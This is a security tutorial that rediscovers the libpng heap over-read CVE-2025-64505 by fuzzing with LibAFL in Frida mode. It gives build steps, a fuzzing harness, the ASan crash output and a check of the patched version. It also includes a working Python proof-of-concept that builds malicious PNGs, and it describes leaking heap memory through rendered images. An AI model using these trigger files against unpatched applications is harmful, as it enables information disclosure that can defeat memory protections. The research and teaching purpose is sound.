Guide

CVE-2025-64505: Heap Over-Read in libpng's Quantize Path — Rediscovered with LibAFL

What Happened

In November 2025, the libpng team released version 1.6.51, fixing four buffer overflow CVEs. One of them CVE-2025-64505, is a heap buffer over-read in png_do_quantize, the function responsible for color quantization on indexed-color PNG images. Affected: every version of libpng before 1.6.51.

Apple listed the CVE in their iOS 26.4 security advisory. Google included it in the Android Security Bulletin 2026-06-01. libpng ships on every platform: Android, iOS, macOS, Linux, Windows, and any application that decodes PNG images is a potential target.

After Google published the CVE details, we set out to independently reproduce the vulnerability using LibAFL in Frida mode — a coverage-guided, binary-only fuzzing setup. Starting from a seed corpus of valid indexed-color PNGs, the fuzzer rediscovered the crash in under two minutes.


The Root Cause: Missing Bounds Check in Quantize Lookup

PNG supports indexed color (color type 3), where each pixel is an index into a palette chunk (PLTE). The palette can have up to 256 entries. For 8-bit indexed images, pixel values range from 0 to 255.

libpng has a color quantization feature (png_set_quantize) that reduces the number of colors in an image. When called with full_quantize = 0, it allocates a lookup table called quantize_index, sized to num_palette — the number of entries in the image's palette:

/* pngrtran.c:504 — allocation */
png_ptr->quantize_index = (png_bytep)png_malloc(png_ptr, num_palette);

Later, during row transformation, png_do_quantize uses this table to remap each pixel:

/* pngrtran.c:5013 — vulnerable code */
for (i = 0; i < row_width; i++) {
    *sp = quantize_index[*sp];   /* OOB READ when *sp >= num_palette */
    sp++;
}

The raw pixel value *sp can be anything from 0 to 255, but quantize_index is only num_palette bytes long. With a 4-entry palette, quantize_index is 4 bytes. A pixel value of 255 reads quantize_index[255]251 bytes past the end of the buffer, directly into adjacent heap allocations.

The fix in libpng 1.6.51 is straightforward: allocate the table with 256 entries regardless of num_palette, eliminating the over-read for any valid 8-bit index.

Impact

This is a heap buffer over-read. The over-read data is written back into the image row buffer — meaning the attacker can exfiltrate heap contents through the rendered image output. On iOS 26.3 (libpng 1.6.50), we confirmed that 1,456 pixels out of 4,096 contained leaked heap data (35.5%), including ASCII strings from adjacent allocations.

For full exploitation (code execution), an attacker would additionally need an out-of-bounds write primitive to corrupt heap objects. The over-read alone provides information disclosure — heap layout leaks that can defeat ASLR.

The vulnerability affects any application that:

  • Bundles its own libpng < 1.6.51 (cross-platform apps, game engines, image editors)
  • Calls png_set_quantize() for palette reduction, GIF conversion, or dithering
  • Processes untrusted PNG input

Reproducing with LibAFL Frida Mode

We used a two-component approach to rediscover the vulnerability:

  1. AddressSanitizer (ASan) as the bug oracle — a heap over-read does not always crash on its own. ASan's redzones turn silent over-reads into hard, attributable crashes.
  2. LibAFL Frida mode for coverage guidance — Frida Stalker provides edge coverage feedback to drive the mutation engine toward new code paths.

Architecture

┌────────────────────────────────────────────────┐
│  LibAFL Fuzzer (Rust)                          │
│  ┌─────────────────────────────────────┐       │
│  │ Corpus + Havoc/Token Mutations      │       │
│  └──────────┬──────────────────────────┘       │
│             │ mutated PNG bytes                │
│  ┌──────────▼──────────────────────────┐       │
│  │ FridaInProcessExecutor              │       │
│  │  • CoverageRuntime (Stalker)        │       │
│  │  • CmpLogRuntime (optional)         │       │
│  └──────────┬──────────────────────────┘       │
│             │ dlopen                           │
│  ┌──────────▼──────────────────────────┐       │
│  │ libpng-harness.dylib (ASan)         │       │
│  │  LLVMFuzzerTestOneInput(data, size) │       │
│  │  → png_read_info → png_set_quantize │       │
│  │  → png_read_row → png_do_quantize   │       │
│  │  (libpng 1.6.50 + zlib, static)     │       │
│  └─────────────────────────────────────┘       │
└────────────────────────────────────────────────┘

libpng and zlib are statically linked into the harness .dylib with ASan instrumentation. The fuzzer binary links the ASan runtime at load time (via build.rs), so ASan's malloc interceptors install before the harness is dlopen'd.


Setting Up the Lab

Prerequisites

  • macOS arm64 with Xcode Command Line Tools
  • Rust stable toolchain
  • Python 3 with Pillow
  • Local LibAFL checkout

Step 1: Get the Vulnerable Sources

export PROJ=/path/to/your/project
cd "$PROJ"
mkdir -p vendor

git clone --depth 1 --branch v1.6.50 \
  https://github.com/pnggroup/libpng.git vendor/libpng-src

git clone --depth 1 --branch v1.3.1 \
  https://github.com/madler/zlib.git vendor/zlib-src

# Verify the vulnerable function exists
grep -c png_do_quantize vendor/libpng-src/pngrtran.c
grep -m1 PNG_LIBPNG_VER_STRING vendor/libpng-src/png.h  # "1.6.50"

Step 2: Build with ASan

export CC="$(xcrun -f clang)"
export SYSROOT="$(xcrun --show-sdk-path)"
export ARCH="-arch arm64 -isysroot $SYSROOT -mmacosx-version-min=14.0"
export SAN="-fsanitize=address -fno-omit-frame-pointer"
export CFLAGS_ALL="$ARCH $SAN -g -O1 \
  -DPNG_NO_SIMD_OPTIMIZATIONS -DPNG_ARM_NEON_OPT=0"

Build zlib:

ZOBJ=vendor/build-host/zobj; mkdir -p "$ZOBJ"
for f in adler32 crc32 deflate infback inffast inflate \
         inftrees trees zutil compress uncompr; do
  $CC $CFLAGS_ALL -DHAVE_HIDDEN -Ivendor/zlib-src \
    -c vendor/zlib-src/$f.c -o "$ZOBJ/$f.o"
done
ar rcs vendor/build-host/libz.a "$ZOBJ"/*.o

Build libpng 1.6.50:

cp -f vendor/libpng-src/scripts/pnglibconf.h.prebuilt \
      vendor/libpng-src/pnglibconf.h
POBJ=vendor/build-host/pobj; mkdir -p "$POBJ"
for f in png pngerror pngget pngmem pngpread pngread \
         pngrio pngrtran pngrutil pngset pngtrans pngwio \
         pngwrite pngwtran pngwutil; do
  $CC $CFLAGS_ALL -Ivendor/libpng-src -Ivendor/zlib-src \
    -c vendor/libpng-src/$f.c -o "$POBJ/$f.o"
done
ar rcs vendor/build-host/libpng16.a "$POBJ"/*.o

The Harness

The harness is the most critical component. For CVE-2025-64505, it must call png_set_quantize with full_quantize = 0 — otherwise the vulnerable code path is unreachable.

// harness.c — drives png_do_quantize to reproduce CVE-2025-64505
#include <png.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <setjmp.h>

typedef struct { const uint8_t *data; size_t size; size_t off; } buf_t;

static void read_cb(png_structp png, png_bytep out, png_size_t len) {
    buf_t *b = (buf_t*)png_get_io_ptr(png);
    if (b->off + len > b->size) { png_error(png, "eof"); return; }
    memcpy(out, b->data + b->off, len);
    b->off += len;
}

int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
    if (size < 8 || png_sig_cmp((png_bytep)data, 0, 8)) return 0;

    png_structp png = png_create_read_struct(
        PNG_LIBPNG_VER_STRING, NULL, NULL, NULL);
    if (!png) return 0;
    png_infop info = png_create_info_struct(png);
    if (!info) { png_destroy_read_struct(&png, NULL, NULL); return 0; }
    if (setjmp(png_jmpbuf(png))) {
        png_destroy_read_struct(&png, &info, NULL); return 0;
    }

    buf_t b = { data, size, 0 };
    png_set_read_fn(png, &b, read_cb);
    png_read_info(png, info);

    // Force the quantization path holding the bug.
    // full_quantize MUST be 0 to reach CVE-2025-64505.
    int max_colors = 16;
    png_colorp palette = NULL; int num_palette = 0;
    if (png_get_PLTE(png, info, &palette, &num_palette)
        && num_palette > 0) {
        png_set_quantize(png, palette, num_palette,
                         max_colors, NULL, 0);
    } else {
        static png_color pal[256];
        for (int i = 0; i < 256; i++) {
            pal[i].red = i;
            pal[i].green = 255 - i;
            pal[i].blue = i / 2;
        }
        png_set_quantize(png, pal, 256, max_colors, NULL, 0);
    }
    png_read_update_info(png, info);

    png_uint_32 h  = png_get_image_height(png, info);
    png_uint_32 rb = png_get_rowbytes(png, info);
    if (rb == 0 || rb > (1u << 24)) {
        png_destroy_read_struct(&png, &info, NULL); return 0;
    }

    png_bytep row = (png_bytep)malloc(rb);
    if (!row) { png_destroy_read_struct(&png, &info, NULL); return 0; }
    for (png_uint_32 y = 0; y < h; y++)
        png_read_row(png, row, NULL);
    free(row);

    png_read_end(png, info);
    png_destroy_read_struct(&png, &info, NULL);
    return 0;
}

Why full_quantize = 0 Matters

png_set_quantize has two modes:

full_quantize Behavior quantize_index allocated? CVE-2025-64505 reachable?
1 Full quantization — builds a color distance map No No
0 Simple palette reduction — builds a lookup table sized num_palette Yes Yes

With full_quantize = 1, quantize_index is never allocated and the vulnerable *sp = quantize_lookup[*sp] branch is never taken. If your harness uses the wrong mode, the fuzzer will run forever and find nothing.

Build the Harness

# Shared library (the fuzzer loads via dlopen)
$CC $CFLAGS_ALL -fPIC -Ivendor/libpng-src -Ivendor/zlib-src \
    -c harness/harness.c -o vendor/build-host/harness.o

$CC $CFLAGS_ALL -dynamiclib \
    -install_name @rpath/libpng-harness.dylib \
    vendor/build-host/harness.o \
    vendor/build-host/libpng16.a vendor/build-host/libz.a \
    -o vendor/build-host/libpng-harness.dylib

# Standalone replay driver (for crash reproduction with ASan)
$CC $CFLAGS_ALL -Ivendor/libpng-src -Ivendor/zlib-src \
    harness/standalone_main.c vendor/build-host/harness.o \
    vendor/build-host/libpng16.a vendor/build-host/libz.a \
    -o vendor/build-host/repro

Seed Corpus

The seed corpus needs indexed-color PNGs (color type 3) with varied palette sizes and bit depths. The critical seeds are the ones with small palettes (17, 32 entries) and indices near the palette boundary — one byte-flip away from triggering the over-read.

python3 scripts/gen_corpus.py corpus
ls corpus | wc -l  # ~26 seed files

The generator produces Pillow-generated valid indexed PNGs at sizes 8x8 through 64x64, plus hand-built seeds at boundary palette sizes where mutation can push indices out of range:

# Hand-built seeds at the quantize boundary
# palette of 17, pixel index 16 — one mutation pushes past the edge
raw_indexed_png(16, 16, 8, 17, lambda x, y: 16)
# palette of 32, pixel index 31
raw_indexed_png(16, 16, 8, 32, lambda x, y: 31)

Building and Running the Fuzzer

The fuzzer is adapted from LibAFL's fuzzers/binary_only/frida_libpng example. Update Cargo.toml to point at your local LibAFL checkout, then build:

cd "$PROJ/fuzzer"
export SDKROOT="$(xcrun --show-sdk-path)"
export BINDGEN_EXTRA_CLANG_ARGS="-isysroot $SDKROOT"
cargo build --release

Why build.rs Matters

A critical subtlety: build.rs forces the fuzzer binary to link the ASan runtime at load time. Without this, ASan initializes too late — the harness .dylib is loaded via dlopen after the process starts, and LibAFL's restarting launcher re-execs the client process, stripping DYLD_INSERT_LIBRARIES on modern macOS. By linking ASan directly into the fuzzer, malloc interceptors install at process start in every client, turning silent over-reads into reliable crashes.

Run

cd "$PROJ"
rm -rf solutions corpus_discovered; mkdir -p solutions

ASAN_OPTIONS="abort_on_error=1:detect_leaks=0" \
  fuzzer/target/release/frida_fuzzer \
    -F LLVMFuzzerTestOneInput \
    -H "$PROJ/vendor/build-host/libpng-harness.dylib" \
    -l libpng-harness.dylib \
    -i "$PROJ/corpus" \
    -o "$PROJ/solutions" \
    -c 0 -t 3000 \
    -s /tmp/fuzz_client.log
Flag Purpose
-F Harness function name
-H Harness .dylib path (loaded via dlopen)
-l Module to instrument for coverage
-i Input corpus directory
-o Solutions (crashes) output directory
-c 0 Single core
-t 3000 3-second timeout per execution

Within 60–120 seconds, the fuzzer discovers inputs that trigger the png_do_quantize over-read. ASan catches the violation and aborts; LibAFL records the crashing input.


The Crash

Replaying a fuzzer-discovered crash through the standalone ASan harness:

CRASH=$(ls solutions/ | grep -vE '\.metadata$|^\.' | head -1)
ASAN_OPTIONS="abort_on_error=0:detect_leaks=0:symbolize=1" \
  vendor/build-host/repro "solutions/$CRASH"
ASan crash report showing heap-buffer-overflow READ in png_do_quantize
ASan crash report: heap-buffer-overflow READ of size 1 at pngrtran.c:5013

The ASan report confirms the vulnerability:

  • **heap-buffer-overflow READ of size 1** at pngrtran.c:5013 — the *sp = quantize_index[*sp] line
  • Located 4 bytes after a 17-byte regionquantize_index was allocated for 17 palette entries
  • **Allocated by png_set_quantize at pngrtran.c:504** — the allocation site

The shadow bytes show the over-read crossing from a valid allocation (00) into heap left redzones (fa) and freed regions (fd).


Reproducing Without Fuzzing

You can also trigger the vulnerability deterministically with a hand-crafted PNG. The trigger is straightforward: an 8-bit indexed PNG with a small palette and pixel indices that exceed the palette size.

#!/usr/bin/env python3
"""gen_poc.py — hand-build CVE-2025-64505 trigger PNGs."""
import struct, zlib

def chunk(typ, data):
    c = typ + data
    return (struct.pack(">I", len(data)) + c +
            struct.pack(">I", zlib.crc32(c) & 0xffffffff))

def make_png(width, height, palette_entries, index_value):
    sig = b"\x89PNG\r\n\x1a\n"
    ihdr = struct.pack(">IIBBBBB", width, height, 8, 3, 0, 0, 0)
    plte = b"".join(
        struct.pack("BBB", (i*17)&0xff, (i*31)&0xff, (i*51)&0xff)
        for i in range(palette_entries))
    raw = b""
    for _ in range(height):
        raw += b"\x00" + bytes([index_value]) * width
    idat = zlib.compress(raw, 9)
    return (sig + chunk(b"IHDR", ihdr) + chunk(b"PLTE", plte) +
            chunk(b"IDAT", idat) + chunk(b"IEND", b""))

# Palette of 17 entries, every pixel index = 255
# -> reads 238 bytes past quantize_index
poc = make_png(16, 16, palette_entries=17, index_value=255)
open("poc_overread.png", "wb").write(poc)

This generates a 16x16 PNG with a 17-entry palette where every pixel is index 255. When libpng processes this with quantization enabled, quantize_lookup[255] reads 238 bytes past the 17-byte buffer.


Confirming the Fix

Build the same harness against the system's libpng (1.6.51+, patched):

$CC $ARCH $SAN -g -O1 \
  -I/opt/homebrew/include -I/opt/homebrew/include/libpng16 \
  harness/harness.c harness/standalone_main.c \
  -L/opt/homebrew/lib -lpng16 -lz \
  -Wl,-rpath,/opt/homebrew/lib \
  -o vendor/repro_systempng

ASAN_OPTIONS=detect_leaks=0 \
  vendor/repro_systempng crashes/poc_min.png
# Output: "[*] done (no crash)"

The patched libpng allocates quantize_index with 256 entries, so any 8-bit index is in bounds.


Lessons Learned

1. ASan is the oracle; Frida provides coverage. A heap over-read rarely crashes on its own — the read lands in valid mapped memory. Without ASan, the fuzzer would run for hours and never see a crash, even though every execution triggers the bug. ASan turns a silent over-read into a hard abort. Neither ASan nor Frida coverage is sufficient alone.

2. The harness decides what you can find. If full_quantize is set to 1 instead of 0, the vulnerable branch is unreachable. Understanding the target's internal branching is as important as the fuzzing infrastructure itself.

3. Seeds near the boundary accelerate discovery. Seeds with palettes of 17 or 32 entries and indices at the palette boundary are one mutation away from the trigger. The fuzzer rediscovered the crash in under two minutes with these seeds — with only generic 256-color PNGs, it would take significantly longer.

4. build.rs matters for ASan + dlopen + re-exec. LibAFL's restarting launcher re-execs the client process. On macOS, DYLD_INSERT_LIBRARIES is stripped on re-exec. Linking the ASan runtime directly into the fuzzer binary via build.rs ensures malloc interceptors install in every client.

5. Dictionary tokens accelerate format fuzzing. PNG-specific tokens — the PNG header (\x89PNG\r\n\x1a\n), chunk type codes (IHDR, PLTE, IDAT, IEND) — let the mutator produce structurally valid PNGs without discovering magic bytes through random mutation.


Try It Yourself

If you want to learn this fuzzing pipeline end-to-end — from harness design through crash triage and exploitation — Mobile Hacking Lab offers two courses that cover it in depth:

Free resources: